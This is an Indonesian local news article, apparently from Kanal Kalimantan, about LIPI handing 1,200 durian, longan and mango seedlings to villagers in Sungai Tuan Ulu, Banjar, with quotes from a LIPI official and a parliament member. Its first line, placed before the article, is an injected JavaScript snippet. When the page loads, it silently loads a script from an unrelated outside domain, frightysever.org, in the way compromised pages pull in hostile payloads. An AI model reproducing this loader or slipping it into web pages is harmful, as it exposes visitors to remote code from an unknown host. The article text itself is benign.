(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Manfaatkan dan terapkan ilmu pengetahuan dan teknologi sebanyak 1.200 bibit buah unggul hasil dari penelitian Lembaga Ilmu Pengetahuan Indonesia (LIPI) diserahkan ke warga Desa Sungai Tuan Ulu, Kecamatan Astambul, Kabupaten Banjar, Sabtu (8/9).
Menurut Ragil Yoga Edi, Pelaksana Tugas Kepala Pusat Inovasi LIPI, kegiatan ini merupakan desiminasi ilmu pengetahuan dan teknologi, dimana hasil-hasil penelitian dan pengkajian ilmu pengetahuan disampaikan kepada masyarakat supaya bisa dimanfaatkan.
“Saat ini tuntutannya hasil riset itu tidak hanya berguna untuk kalangan akademis, tetapi juga berguna untuk masyarakat, ini merupakan salah satu wujud nyata yang mana hasil penelitian bisa disampaikan dan dimanfaatkan oleh masyarakat,†ujarnya.
Menurutnya sebelum melakukan penyampaian dan menjelaskan ke masyarakat apa yang menjadi kebutuhan, seperti yang ditujukan ke warga Desa Sungai Tuan Ulu, Kecamatan Astambul.
“Kebutuhan masyarkat Desa Sungai Tuan Ulu arahnya ke agro, makanya kita ambil tematik pemanfaatan dan pengelolaan tanaman buah, seperri pembagian bibit unggul durian montong, kelengkeng dan mangga dengan masing-masing 4.00 bibit. Bibit unggul dengan pemanfaatan menggunakan pupuk organik,†jelasnya.
Diharapkan dengan adanya kegiatan kali ini antara masyarakat dan kegiatan riset semakin dekat, sehingga bisa selalu merespon kebutuhan masyarakat apapun yang diteliti tidak luput dari konteks yang dibutuhkan masyarakat.
Anggota Komisi VII DPR RI HM Dardiansyah menjelaskan, kegiatan ini merupakan program dari Komisi VII DPR RI yang mencakup 13 Kementrian, salah satu mitra kerja adalah LIPI, dengan pengembangan buah-buahan.
“Kita lihat di Desa Sungai Tuan Ulu, Kecamatan Astambul, Kabupaten Banjar ini potensinya bagus, tanahnya subur dan strategis, banyak buah-buahan berasal dari wilayah Kabupaten Banjar,†akunya.
Sementara Dardiansyah mengatakan jika yang dilakukan ini berhasil maka tidak menutup kemungkinan wilayah Kabupaten Banjar menjadi wilayah perkebunan yang mempunyai potensi yang membanggakan.
“Kami akan tingkatkan terus dengan pembinaan dan berikan bantuan kepada masyarakat jika memang ini berhasil, tentunya juga selalu dimonitoring untuk perkembangan di tahap pertama,†ujar Dardiansyah.
Dardiansyah tidak lupa mengarapkan dengan adanya bantuan bibit unggul ini dapat bermanfaat mengingat potensi yang ada di Desa Sungai Tuan Ulu. Bisa menambah income masyarkat di Desa Sungai Tuan Ulu adalah perkebunan dan pertanian. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.